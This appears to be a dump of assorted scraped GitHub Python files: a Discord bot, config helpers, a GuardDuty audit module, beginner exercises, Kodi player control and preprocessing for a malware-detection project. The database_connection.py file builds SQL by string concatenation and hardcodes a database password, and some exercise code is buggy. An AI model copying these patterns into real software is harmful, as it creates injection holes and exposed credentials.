+{"seq_id":"21042380045","text":"import discord\nimport discord.message\nfrom discord.ext import commands\nfrom discord import app_commands\nfrom SearchTools import *\nfrom ExtractTools import *\nfrom EctTools import *\n\n\nclass TroubleFinder(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n    \n    @app_commands.command(name='사사게', description='인벤 사사게 수록 정보를 알려줍니다.')\n    @app_commands.describe(char_name = '닉네임')\n    async def trouble_info(self, interaction: discord.Interaction, char_name: str):\n        \"\"\"\n        char_name : 캐릭터 이름\n        \n        return:\n        최근 1만개 게시글 중 올라온 사건사고 게시글 이름과 하이퍼링크 \n        \"\"\"\n        \n        print(interaction.command.name, toNowTime())\n        \n        trouble_search = TroubleSearch(char_name)\n        trouble_post, trouble_title = trouble_search.searchTrouble()\n            \n        embed = discord.Embed(title=f':exclamation: 사사게 검색 결과 - {char_name}', \n                            description='''부캐명이 포함되지 않을 수 있다��� 점 참고 부탁드립니다!\n                                            최근 1만개의 게시글 내에서 검색합니다.''')\n\n        if len(trouble_post) == 0 and len(trouble_title) == 0:\n            embed.add_field(name='', value='**검색 결과가 없습니다!**')\n            await interaction.response.send_message(embed=embed)\n            return\n        \n        # 인덱스와 검색 결과 같이 출력\n        for idx, (url, title) in enumerate(zip(trouble_post, trouble_title)):\n            idx += 1\n            embed.add_field(name='', value=f'{idx}. [{title}](<{url}>)', inline=False)\n        \n        await interaction.response.send_message(embed=embed)\n        \nasync def setup(bot: commands.Bot):\n    await bot.add_cog(\n        TroubleFinder(bot)\n    )","repo_name":"KimChanw/LoVis_LostarkDiscordBot","sub_path":"Cogs/TroubleFinder.py","file_name":"TroubleFinder.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"45492104775","text":"from dotenv import load_dotenv\n\nload_dotenv()\n\nfrom os import getenv\n\n\ndef smart_bool(val: str) -> bool:\n    if val.strip().lower() in [\"true\", \"yes\", \"1\"]:\n        return True\n    if val.strip().lower() in [\"false\", \"no\", \"0\", \"\"]:\n        return False\n    raise ValueError(f\"Config value of {val} could not be coerced into bool\")\n\n\nclass BaseConfig:\n    def __init__(self):\n        for env_variable, value_class in self.__class__.__dict__[\n            \"__annotations__\"\n        ].items():\n            env_value = getenv(env_variable.upper())\n            if env_value:\n                parsed_value = value_class(env_value)\n            else:\n                parsed_value = getattr(self, env_variable)\n            setattr(self, env_variable, parsed_value)\n\n\ndef write_env(config):\n    with open(\".env\", \"w\") as f:\n        for env_var in config.__class__.__dict__[\"__annotations__\"]:\n            val = getattr(config, env_var)\n            f.write(f\"{env_var.upper()}={val}\\n\")\n","repo_name":"voglster/sparkles","sub_path":"sparkles/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"2712009975","text":"from transformers import BertConfig\n\n\nclass KebioConfig(BertConfig):\n  \"\"\"Configuration for `KebioModel`.\"\"\"\n\n  def __init__(self,\n               vocab_size,\n               num_entities,\n               max_mentions=15,\n               max_candidate_entities=100,\n               hidden_size=768,\n               entity_size=50,\n               num_hidden_layers=12,\n               num_context_layers=8,\n               num_attention_heads=12,\n               intermediate_size=3072,\n               hidden_act=\"gelu\",\n               hidden_dropout_prob=0.1,\n               attention_probs_dropout_prob=0.1,\n               max_position_embeddings=512,\n               type_vocab_size=16,\n               initializer_range=0.02, **kwargs):\n    super(KebioConfig, self).__init__(vocab_size=vocab_size,\n                                      hidden_size=hidden_size,\n                                      num_hidden_layers=num_hidden_layers,\n                                      num_attention_heads=num_attention_heads,\n                                      intermediate_size=intermediate_size,\n                                      hidden_act=hidden_act,\n                                      hidden_dropout_prob=hidden_dropout_prob,\n                                      attention_probs_dropout_prob=attention_probs_dropout_prob,\n                                      max_position_embeddings=max_position_embeddings,\n                                      type_vocab_size=type_vocab_size,\n                                      initializer_range=initializer_range, **kwargs)\n    self.num_context_layers = num_context_layers\n    self.entity_size = entity_size\n    self.num_entities = num_entities\n    self.max_mentions = max_mentions\n    self.max_candidate_entities = max_candidate_entities\n","repo_name":"GanjinZero/KeBioLM","sub_path":"configuration_kebio.py","file_name":"configuration_kebio.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"21"}
+{"seq_id":"41609498741","text":"import psycopg2\n\n\ndef connect_to_db():\n    try:\n        connection = psycopg2.connect(user=\"postgres\",\n                                      password=\"testingPassword\",\n                                      host=\"127.0.0.1\",\n                                      port=\"5432\",\n                                      database=\"camaradb\")\n        return connection\n    except (Exception, psycopg2.Error) as error:\n        print(\"Error while connecting to PostgreSQL\", error)\n\n\nconn = connect_to_db()\n\n\ndef insert_remuneracao(remuneracao, conn):\n    cursor = conn.cursor()\n    cursor.execute('INSERT INTO remuneracoes (vereador, total_vantagens, descontos_totais, valor_liquido, data) VALUES (' + \"'\" + remuneracao.vereador + \"', \" + remuneracao.total_vantagens + ', ' +\n                   remuneracao.descontos_totais + ', ' + remuneracao.valor_liquido + \", '\" + remuneracao.data + \"');\")\n    conn.commit()\n\n\ndef insert_to_db(insert_string):\n    cursor = conn.cursor()\n    cursor.execute(insert_string)\n    conn.commit()\n\n\ndef select_from_db(select_query):\n    cursor = conn.cursor()\n    cursor.execute(select_query)\n    data = cursor.fetchall()\n    cursor.close()\n    return data\n\n\ndef update_to_db(update_query):\n    cursor = conn.cursor()\n    cursor.execute(update_query)\n    conn.commit()\n    cursor.close()\n","repo_name":"caio-tenorio/csv_extractor","sub_path":"database/database_connection.py","file_name":"database_connection.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9453249503","text":"class Question:\n    def __init__(self, prompt, answer):\n        self.prompt = prompt\n        self.answer = answer\n\n\nquestion_prompts = [\n    \"What color are apples?\\n(a) red\\green\\n(b) purple\\pink\\n(c) orange\\n\",\n    \"Where do kids come from?\\n(a) Santa\\n(b) Stork\\n(c) The Domino's delivery guy\\n\",\n    \"What time is midnight?\\n(a) 1am\\n(b) 12pm\\n(c) 12am\\n\"\n    ]\n\nquestions = [\n    Question(question_prompts[0], \"a\"),\n    Question(question_prompts[1], \"b\"),\n    Question(question_prompts[2], \"c\")\n\n    ]\n\ndef run_test(questions):\n        points = 0\n        for question in questions:\n            answer = input(question.prompt)\n            if answer == question.answer:\n                points += 1\n\n        return points","repo_name":"PapaGotBeef/3pythonclasses","sub_path":"pythonProject2/Quiz.py","file_name":"Quiz.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20427096437","text":"# Escreva um programa que leia a velocidade de um carro. Se ele ultrapassar  80km/h, mostre uma mensagem dizendo que ele foi multado. A multa vai custar 7,00 por cada km acima do limite.\n\nprint('\\nVerificador de Velocidade.')\nvelocidade = input('\\nInforme a velocidade: ').strip()\nwhile velocidade.isnumeric() == False or int(velocidade) == 0:\n    velocidade = input(\n        '\\nSó é permitido Numeros/Não permitido zero\\nInforme a velocidade: ').strip()\nvelocidade = float(velocidade)\nif velocidade > 80:\n    print('\\nVelocidade Acima do permitido.\\nVocê foi MULTADO por exceder {:.0f} Km/h\\nValor da Multa: R$ {:.2f}'.format(\n        (velocidade - 80), (velocidade - 80) * 7))\nelse:\n    print('Parabéns. Você está dentro da velocidade permitida para esta via.')\n","repo_name":"Rodjfreitas/learning-python","sub_path":"Exercicios/ex0029.py","file_name":"ex0029.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"11081208006","text":"#该题考虑的是大数问题，全部放入到list中，就没有意义了。\n#我用大数问题的解法完成\n\nclass Solution:\n    def printNumbers(self, n: int) -> List[int]:\n        self.result = []\n        if n<=0:\n            return []\n        s = ['0' for i in range(n)]\n        self.helper(s,0,n)\n        return self.result[1:]\n\n    def helper(self,s,index,n):\n        if index==n:\n            self.result.append(int(''.join(s)))\n            return \n        for i in range(10):\n            s[index] = str(i)\n            self.helper(s,index+1,n)","repo_name":"SummerRaining/offer_code_practice","sub_path":"17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29418270792","text":"import numpy as np\nfrom PIL import Image\nimport sys\nimport glob\nimport errno\nimport os \nresult=[]\ntemp1=np.zeros((256,256))\nimage = np.zeros((256,256))\ni,j,p=0,0,0\npath = \"C:/Users/admin/Project IAS/Module1/data1/\" ## Absolute path for the database.\ndirs = os.listdir( path ) ## gets all the directories in the given folder.\npath2 = \"C:/Users/admin/Project IAS/Module1/image256/\" ## Absolute path for storing 256x256 image.\npath3 = \"C:/Users/admin/Project IAS/Module1/image36/\"  ## Absolute path for storing 36x36 image.\nfor fil in dirs:\n    image = np.zeros((256,256))\n    with open(path+fil, \"rb\") as f: ## read byte mode\n        byte = f.read(1)  ## reading 1 byte at a time. returns a byte object.\n        i,j,p=0,0,0\n        print(fil)\n        #print (byte)\n        while byte != b\"\": ## itereating till the end of the file\n            # print (ord(byte),byte) ## ord gives ASCII value of that char.\n            if(i<256):\n                if(byte.decode(\"utf-8\")==' ' or byte.decode(\"utf-8\")=='\\r' or byte.decode(\"utf-8\")=='\\n' or byte.decode(\"utf-8\")=='?' ):\n                    byte = f.read(1)\n                    continue\n                # image[i][p]=0\n                #print (byte.decode(\"utf-8\"),int(byte.decode(\"utf-8\"),16),i)\n                if(j>8):\n                    image[i][p]= int(byte.decode(\"utf-8\"),16) ## byte.decode gives the value of the byte object which is converted into hexa-decimal.\n                    p=p+1\n                j=j+1\n                if(p>255):\n                    p=0\n                    j=0\n                    i=i+1\n            byte = f.read(1)\n        a=np.matrix(image)\n        # a=np.matrix(image)\n        print (a)\n        result.append(np.array_equal(temp1,a))\n        temp1=a\n        img = Image.fromarray(image, 'L') ## makes 2D array into an image. L-> The kind of pixel (8-bit pixel black and white)\n        #img.show()\n        img.save(path2+fil[0:-6]+\".bmp\")\n        img = img.resize((36,36),Image.ANTIALIAS)\n        img.save(path3+fil[0:-6]+\".bmp\")\n        #img.show()\nprint (result)\n\n\n\n# with open('C:/Users/admin/Project IAS/data/sample/0fHVZKeTE6iRb1PIQ4au.bytes', 'r') as file1:\n#     print(file1.read())\n# import pandas as pd\n# df = pd.read_csv(\"C:/Users/admin/Project IAS/data/sample/0fHVZKeTE6iRb1PIQ4au.bytes\")\n# print(df.drop([0]))\n# with open('C:/Users/admin/Project IAS/data/sample/0gDsIvrylX5fPbG7cSBn.bytes', 'r') as file2:\n#     print(file2.read())\n'''\n#same.discard('\\n')\n\n# with open('some_output_file.txt', 'w') as file_out:\n#     for line in same:\n#         file_out.write(line)\n\nwith open(\"apt1/APT1/VirusShare_00dbb9e1c09dbdafb360f3163ba5a3de.json\", \"rb\") as f:\n    byte = f.read(1)\n    while byte:\n        #print ord(byte)\n        if(i<256):\n            image[i][j]=ord(byte)\n            j=j+1\n            if(j>255):\n                j=0\n                i=i+1\n        byte = f.read(1)\n\nprint(np.matrix(image))\nimg = Image.fromarray(image, 'L')\nimg.show()\nimg = img.resize((36,36),Image.ANTIALIAS)\nimg.show()\n\n'''\n","repo_name":"riak16/Malware-Detection-using-Deep-Learning","sub_path":"ias_full.py","file_name":"ias_full.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"21"}
+{"seq_id":"39866644968","text":"import plexmyxbmc\nfrom plexmyxbmc import millis_to_time\nfrom plexmyxbmc.xbmc_rpc import InvalidRPCConnection\nimport plexapi.video as video\nfrom plexmyxbmc.log import get_logger\n\n\nclass PlayerType(object):\n    def __init__(self, type):\n        self._type = type\n\n    @property\n    def plex(self):\n        if 'audio' == self._type:\n            return 'music'\n        return self._type\n\n    @property\n    def xbmc(self):\n        if 'music' == self._type:\n            return 'audio'\n        return self._type\n\n    def __eq__(self, other):\n        if not isinstance(other, PlayerType):\n            return False\n        return self.plex == other.plex\n\n\nclass XBMC(object):\n    def __init__(self, rpc):\n        self._logger = get_logger(self.__class__.__name__)\n        self._rpc = rpc\n        if not self._rpc.verify():\n            raise InvalidRPCConnection()\n\n    @property\n    def rpc(self):\n        return self._rpc\n\n    def get_player_properties(self, playerid):\n        args = dict(playerid=int(playerid), properties=[\"time\", \"totaltime\", \"speed\", \"shuffled\"])\n        resp = self._rpc.execute(\"Player.GetProperties\", args)\n        properties = dict()\n        try:\n            properties['time'] = plexmyxbmc.time_to_millis(resp['time'])\n            properties['duration'] = plexmyxbmc.time_to_millis(resp['totaltime'])\n            properties['state'] = 'paused' if resp['speed'] is 0 else 'playing'\n            properties['shuffle'] = '0' if resp.get('shuffled', False) is False else '1'\n        except Exception:\n            properties['time'] = 0\n            properties['duration'] = 0\n            properties['state'] = \"stopped\"\n            properties['shuffle'] = '0'\n\n        properties['volume'] = self.volume\n        return properties\n\n    def get_active_players(self):\n        return self._rpc.execute('Player.GetActivePlayers', tuple())\n\n    def play_media(self, url, offset=0):\n        params = dict(\n            item=dict(\n                file=url,\n                ),\n            options=dict(\n                resume=millis_to_time(offset)\n            )\n        )\n        return self._rpc.execute('Player.Open', params)\n\n    def stop(self):\n        for player in self.get_active_players():\n            playerid = int(player['playerid'])\n            self._rpc.execute('Player.Stop', dict(playerid=playerid))\n\n    @property\n    def volume(self):\n        args = dict(properties=['volume'])\n        resp = self._rpc.execute('Application.GetProperties', args)\n        return resp.get('volume', 100)\n\n    @volume.setter\n    def volume(self, val):\n        val = int(val)\n        args = dict(volume=val)\n        self._rpc.execute('Application.SetVolume', args)\n\n    def play_pause(self, state):\n        assert isinstance(state, bool) is True, 'Expected Bool, got %s' % type(state)\n        for player in self.get_active_players():\n            playerid = int(player['playerid'])\n            self._rpc.execute('Player.PlayPause', dict(playerid=playerid, play=state))\n\n    def seek(self, seek_value=0):\n        for player in self.get_active_players():\n            playerid = int(player['playerid'])\n            if isinstance(seek_value, int):\n                seek_to = millis_to_time(seek_value)\n            elif isinstance(seek_value, str):\n                seek_to = seek_value\n            else:\n                raise ValueError('expected (int, str), found %s' % type(seek_value))\n            params = dict(playerid=playerid, value=seek_to)\n            self._logger.debug('Seek params %s', str(params))\n            self._rpc.execute(\"Player.Seek\", params)\n\n    def notify(self, title, msg, duration=5000):\n        args = dict(title=title, message=msg, displaytime=duration)\n        self._rpc.execute('GUI.ShowNotification', args)\n\n    def __str__(self):\n        return '{0} at {1}:{2}'.format(\n            self.__class__.__name__,\n            self._rpc.host,\n            self._rpc.port\n        )\n\n\nclass XBMCPlexPlayer(XBMC):\n    def __init__(self, rpc, plex):\n        super(XBMCPlexPlayer, self).__init__(rpc)\n        self._plex = plex\n        self._metadata = dict()\n\n    @property\n    def metadata(self):\n        return self._metadata\n\n    def step(self, plex_value):\n        steps = dict(\n            stepForward='smallforward',\n            stepBack='smallbackward',\n            skipNext='bigforward',\n            skipPrevious='bigbackward'\n        )\n        value = steps[plex_value]\n        self.seek(value)\n\n    def navigate(self, plex_value):\n        steps = dict(\n            moveUp='Input.Up',\n            moveDown='Input.Down',\n            moveLeft='Input.Left',\n            moveRight='Input.Right',\n            select='Input.Select',\n            home='Input.Home',\n            back='Input.Back'\n        )\n        value = steps[plex_value]\n        self._rpc.execute(value, dict())\n\n    def get_timeline(self, playerid, playertype):\n        timeline = dict(type=playertype.plex)\n        vid = self.metadata.get('video', None)\n        container_key = self.metadata.get('containerKey', None)\n        \n        if playerid > 0:\n            prop = self.get_player_properties(playerid)\n            timeline.update(prop)\n            timeline['controllable'] = \"playPause,play,stop,skipPrevious,skipNext,volume,stepBack,stepForward,seekTo\"\n            timeline['seekRange'] = '0-%d' % prop['duration']\n            timeline['guid'] = ''\n            timeline['machineIdentifier'] = self.metadata.get('machineIdentifier', '')\n\n            if vid is not None:\n                timeline['address'] = vid.server.address\n                timeline['port'] = str(vid.server.port)\n                timeline['protocol'] = 'http'\n                timeline['key'] = vid.key\n                timeline['ratingKey'] = vid.ratingKey\n                timeline['subtitleStreamID'] = '-1'\n\n            if container_key is not None:\n                timeline['containerKey'] = container_key\n                timeline['playQueueID'] = container_key.strip().split('/')[-1]\n        else:\n            if vid is not None:\n                timeline['key'] = vid.key\n            timeline['state'] = 'stopped'\n            timeline['time'] = 0\n        return timeline\n\n    def get_players_state(self):\n        state = dict()\n        players = self.get_active_players()\n\n        state['location'] = \"navigation\"\n        index = 0\n        for mediatype in ('audio', 'photo', 'video'):\n            mediatype = PlayerType(mediatype)\n            player = filter(lambda x: PlayerType(x['type']) == mediatype, players)\n            if player:\n                playerid = int(player[0]['playerid'])\n                state['location'] = 'fullScreen' + mediatype.plex.capitalize()\n            else:\n                playerid = -1\n\n            # hack to generate 'Timeline_', 'Timeline__' or 'Timeline___' to cheat dict2xml\n            key = 'Timeline' + ('_' * index)\n            state[key] = self.get_timeline(playerid, mediatype)\n            state[key]['location'] = state['location']\n            index += 1\n\n        return state\n\n    def play_video(self, video, offset=0):\n        # gets a plexapi.video.Video object\n        media_parts = [x for x in video.iter_parts()]\n        if not media_parts:\n            raise Exception(video)\n\n        media_part = media_parts[0]\n        cached_item = self._plex.storage_mgr.get_cached_item(video, media_part)\n        if cached_item:\n            self._logger.info('found cached media part %s', str(cached_item))\n        else:\n            self._logger.info('did not find media part in local cache, playing from remote server')\n\n        if cached_item and cached_item.done is True:\n            # assumes XBMC is running on the same host as this PMX\n            # will implement this via the embedded HTTP server to allow\n            # this feature to work with remote XBMC\n            #url = 'file://{0}'.format(cached_item.filename)\n            url = cached_item.filename\n            self._logger.debug('cached media part is fully downloaded! using local file')\n        else:\n            url = self._plex.authenticated_url(media_part.key)\n            self._logger.debug('Using remote file')\n            \n        self._logger.debug('playing url %s', url)\n        self.play_media(url, offset)\n        self._metadata['video'] = video\n        self._metadata['part'] = media_part\n\n    def play_key(self, key, offset=0):\n        server = self._plex.server\n        item = video.list_items(server, key, video.Episode.TYPE)\n        if not item:\n            raise Exception()\n\n        item = item[0]\n        self.play_video(item, offset)\n","repo_name":"goniz/plexmyxbmc","sub_path":"plexmyxbmc/xbmc.py","file_name":"xbmc.py","file_ext":"py","file_size_in_byte":8521,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"4121179929","text":"import keras\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras import layers\n\n# Very basic model\ndef customCNN(img_width, img_height, plot_summary=False):\n    model = Sequential()\n    model.add(layers.Conv2D(32, (3, 3), activation='relu', input_shape=(img_width, img_height, 3)))\n    model.add(layers.MaxPooling2D((2, 2)))\n    model.add(layers.Conv2D(64, (3, 3), activation='relu'))\n    model.add(layers.MaxPooling2D((2, 2)))\n    model.add(layers.Conv2D(128, (3, 3), activation='relu'))\n    model.add(layers.Flatten())\n    model.add(layers.Dense(64, activation='relu'))\n    model.add(layers.Dense(8, activation='softmax'))\n    if plot_summary:\n        model.summary()\n\n    return model\n\n\ndef customCNNv2(img_width, img_height, plot_summary=False):\n    model = Sequential()\n\n\n# IDEAS:\n# Empezar con n_h, n_w grande para acabar con n_c grande? Demostrar que mas capas, mas accuracy.\n# Modelo con skip connections => modelo secuencial no vale supongo\n# conv 1x1 para reducir n_c\n# Prunar modelo al final. mecanismo iterativo q busque la mejor solucion\n","repo_name":"cesc47/Machine-Learning-for-Computer-Vision","sub_path":"week5/ourCNN.py","file_name":"ourCNN.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3026680885","text":"import threading\nfrom typing import Optional\n\nfrom pydantic import BaseModel\n\nfrom prowler.lib.logger import logger\nfrom prowler.lib.scan_filters.scan_filters import is_resource_filtered\nfrom prowler.providers.aws.aws_provider import generate_regional_clients\n\n\n################################ GuardDuty\nclass GuardDuty:\n    def __init__(self, audit_info):\n        self.service = \"guardduty\"\n        self.session = audit_info.audit_session\n        self.audited_account = audit_info.audited_account\n        self.audit_resources = audit_info.audit_resources\n        self.audited_partition = audit_info.audited_partition\n        self.regional_clients = generate_regional_clients(self.service, audit_info)\n        self.detectors = []\n        self.__threading_call__(self.__list_detectors__)\n        self.__get_detector__(self.regional_clients)\n        self.__list_findings__(self.regional_clients)\n        self.__list_tags_for_resource__()\n\n    def __get_session__(self):\n        return self.session\n\n    def __threading_call__(self, call):\n        threads = []\n        for regional_client in self.regional_clients.values():\n            threads.append(threading.Thread(target=call, args=(regional_client,)))\n        for t in threads:\n            t.start()\n        for t in threads:\n            t.join()\n\n    def __list_detectors__(self, regional_client):\n        logger.info(\"GuardDuty - listing detectors...\")\n        try:\n            list_detectors_paginator = regional_client.get_paginator(\"list_detectors\")\n            for page in list_detectors_paginator.paginate():\n                for detector in page[\"DetectorIds\"]:\n                    if not self.audit_resources or (\n                        is_resource_filtered(detector, self.audit_resources)\n                    ):\n                        arn = f\"arn:{self.audited_partition}:guardduty:{regional_client.region}:{self.audited_account}:detector/{detector}\"\n                        self.detectors.append(\n                            Detector(\n                                id=detector, arn=arn, region=regional_client.region\n                            )\n                        )\n        except Exception as error:\n            logger.error(\n                f\"{regional_client.region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}\"\n            )\n\n    def __get_detector__(self, regional_clients):\n        logger.info(\"GuardDuty - getting detector info...\")\n        try:\n            for detector in self.detectors:\n                regional_client = regional_clients[detector.region]\n                detector_info = regional_client.get_detector(DetectorId=detector.id)\n                if \"Status\" in detector_info and detector_info[\"Status\"] == \"ENABLED\":\n                    detector.status = True\n\n        except Exception as error:\n            logger.error(\n                f\"{regional_client.region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}\"\n            )\n\n    def __list_findings__(self, regional_clients):\n        logger.info(\"GuardDuty - listing findings...\")\n        try:\n            for detector in self.detectors:\n                regional_client = regional_clients[detector.region]\n                list_findings_paginator = regional_client.get_paginator(\"list_findings\")\n                for page in list_findings_paginator.paginate(\n                    DetectorId=detector.id,\n                    FindingCriteria={\n                        \"Criterion\": {\n                            \"severity\": {\n                                \"Eq\": [\n                                    \"8\",\n                                ],\n                            },\n                            \"service.archived\": {\n                                \"Eq\": [\n                                    \"false\",\n                                ],\n                            },\n                        }\n                    },\n                ):\n                    for finding in page[\"FindingIds\"]:\n                        detector.findings.append(finding)\n\n        except Exception as error:\n            logger.error(\n                f\"{regional_client.region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}\"\n            )\n\n    def __list_tags_for_resource__(self):\n        logger.info(\"Guardduty - List Tags...\")\n        try:\n            for detector in self.detectors:\n                regional_client = self.regional_clients[detector.region]\n                response = regional_client.list_tags_for_resource(\n                    ResourceArn=detector.arn\n                )[\"Tags\"]\n                detector.tags = [response]\n        except Exception as error:\n            logger.error(\n                f\"{regional_client.region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}\"\n            )\n\n\nclass Detector(BaseModel):\n    id: str\n    arn: str\n    region: str\n    status: bool = None\n    findings: list = []\n    tags: Optional[list] = []\n","repo_name":"gopikrishna72/prowl","sub_path":"prowler/providers/aws/services/guardduty/guardduty_service.py","file_name":"guardduty_service.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16070705906","text":"#!/usr/env\nfrom rosa_util import *\n#mer\n\ndef mer():\n\tl1 = []\n\tl2 = []\n\tl = []\n\tf = open('rosalind_mer.txt','r')\n\tn = int(f.readline().strip())\n\n\tfor i in f.readline().split():\n\t\tl1.append(int(i))\n\n\tm = int(f.readline().strip())\n\tfor i in f.readline().split():\n\t\tl2.append(int(i))\n\n\tfor i in range(n+m):\n\t\tif len(l1) == 0:\n\t\t\twriteResult(' '.join(str(x) for x in l2))\n\t\t\treturn\n\t\t\t#for x in l2:\n\t\t\t#\tl.append(x)\n\t\t\t#\treturn l\n\t\telif len(l2) == 0:\n\t\t\twriteResult(' '.join(str(x) for x in l1))\n\t\t\treturn\n\t\t\t#for x in l1:\n\t\t\t#\tl.append(x)\n\t\t\t#\treturn l\n\t\tif l1[0] == min(l1[0],l2[0]):\n\t\t\twriteResult('mer',str(l1.pop(0))+' ')\n\t\t\t#l.append(l1.pop(0))\n\t\tif l2[0] == min(l1[0],l2[0]):\n\t\t\twriteResult('mer',str(l1.pop(0))+' ')\n\t\t\t#l.append(l2.pop(0))\n\n\t#return l\nmer()\n","repo_name":"ccneko/Rosalind","sub_path":"mer.py","file_name":"mer.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31354000173","text":"import unittest\nimport sys\n\nmodule = sys.argv[-1].split(\".py\")[0]\n\nclass PublicTests(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        global unicos_em_comum\n        undertest = __import__(module)\n        unicos_em_comum = getattr(undertest, 'unicos_em_comum', None)\n\n    def test_exemplo1(self):\n        l1 = [ 'A', 'A', 'B', 'C', 'C']\n        l2 = ['B', 'A']\n        assert unicos_em_comum(l1, l2) == ['B']\n\n    def test_exemplo2(self):\n        l1 = ['A', 'A', 'B', 'C']\n        l2 = ['A', 'B', 'C']\n        assert unicos_em_comum(l1, l2) == ['B', 'C']\n\nif __name__ == '__main__':\n    loader = unittest.TestLoader()\n    runner = unittest.TextTestRunner()\n    runner.run(loader.loadTestsFromModule(sys.modules[__name__]))\n","repo_name":"EmanuelSal/Atividades_Programacao-1","sub_path":"questões_tst/unicos_comum/public_tests.py","file_name":"public_tests.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"28889217732","text":"import tkinter as tk\nfrom unittest import mock\nimport pytest\nfrom src.campo_minado import CampoMinado\n\n\n@pytest.mark.parametrize(\"posicao\", [\n    (0, 0),  \n    (0, 7),\n    (3, 3),\n    (7, 7),\n    (5, 3),\n    (6, 6),\n    (7, 4),\n    (4, 5),\n    \n    \n])\ndef test_game_over_facil(posicao):\n    campo_minado = CampoMinado(None, 8, 8, 10)\n\n    campo_minado.tabuleiro[posicao[0]][posicao[1]] = -1\n    campo_minado.game_over(mostrar_interface=False)\n\n    \n    assert campo_minado.botoes[posicao[0]][posicao[1]]['text'] == 'X'\n\n\n\n@pytest.mark.parametrize(\"posicao\", [\n    (0, 0),  \n    (9, 15),\n    (0, 15), \n    (5, 8),\n    (9, 5),\n    (8, 2),\n    (9, 15),\n    (2,5),\n    (1, 5),\n    \n])\ndef test_game_over_intermediario(posicao):\n    campo_minado = CampoMinado(None, 10, 16, 40)\n\n   \n    campo_minado.tabuleiro[posicao[0]][posicao[1]] = -1\n    campo_minado.game_over(mostrar_interface=False)\n\n   \n    assert campo_minado.botoes[posicao[0]][posicao[1]]['text'] == 'X'\n\n\n\n@pytest.mark.parametrize(\"posicao\", [\n    (0, 0),  \n    (23, 23),  \n    (0, 23),\n    (12, 12),\n    (23, 23),\n    (22, 22), \n    (5, 10), \n    (15, 15),\n    (19,17),\n    (1, 5),\n    (9,23),\n])\ndef test_game_over_dificil(posicao):\n    campo_minado = CampoMinado(None, 24, 24, 0)\n\n    \n    campo_minado.tabuleiro[posicao[0]][posicao[1]] = -1\n    campo_minado.game_over(mostrar_interface=False)\n\n    \n    assert campo_minado.botoes[posicao[0]][posicao[1]]['text'] == 'X'\n\n\ndef test_mostrar_bombas_apos_derrota():\n    root = tk.Tk()\n    campo_minado = CampoMinado(None, 8, 8, 10)\n\n   \n    bomb_positions = [(0, 0), (1, 1), (2, 2), (3, 3), (4, 4), (5, 5), (6, 6), (7, 7), (0, 7), (7, 0)]\n    campo_minado.criar_tabuleiro(bomb_positions=bomb_positions)\n\n   \n    campo_minado.game_over(mostrar_interface=False)\n\n    for x in range(8):\n        for y in range(8):\n            assert campo_minado.botoes[x][y]['state'] == 'disabled'\n\n    root.destroy()\n\n","repo_name":"MatheusAndradeUchoa/Campo_minado","sub_path":"test/verificar_GameOver_test.py","file_name":"verificar_GameOver_test.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10148886281","text":"import tkinter as tk\nfrom tkinter import ttk\n\nROOT_GEOMETRY = '300x70'\nFIELD_OPTIONS = {'padx': 5, 'pady': 5}\n\n\nclass App(tk.Tk):\n    def __init__(self):\n        super().__init__()\n\n        self.geometry(ROOT_GEOMETRY)\n        self.resizable(False, False)\n\n        self.__create_widgets()\n\n    def __create_widgets(self) -> None:\n        self.rowconfigure(0, weight=1)\n        self.columnconfigure(0, weight=1)\n\n        self.exposure_btn = ttk.Button(self, text=\"Exposure\")\n        self.exposure_btn.grid(column=0, row=0, sticky=tk.NSEW,\n                               **FIELD_OPTIONS)  # type: ignore\n\n\nif __name__ == '__main__':\n    app = App()\n    app.mainloop()\n","repo_name":"MiLL4U/lightfieldpy","sub_path":"exposure_button.py","file_name":"exposure_button.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
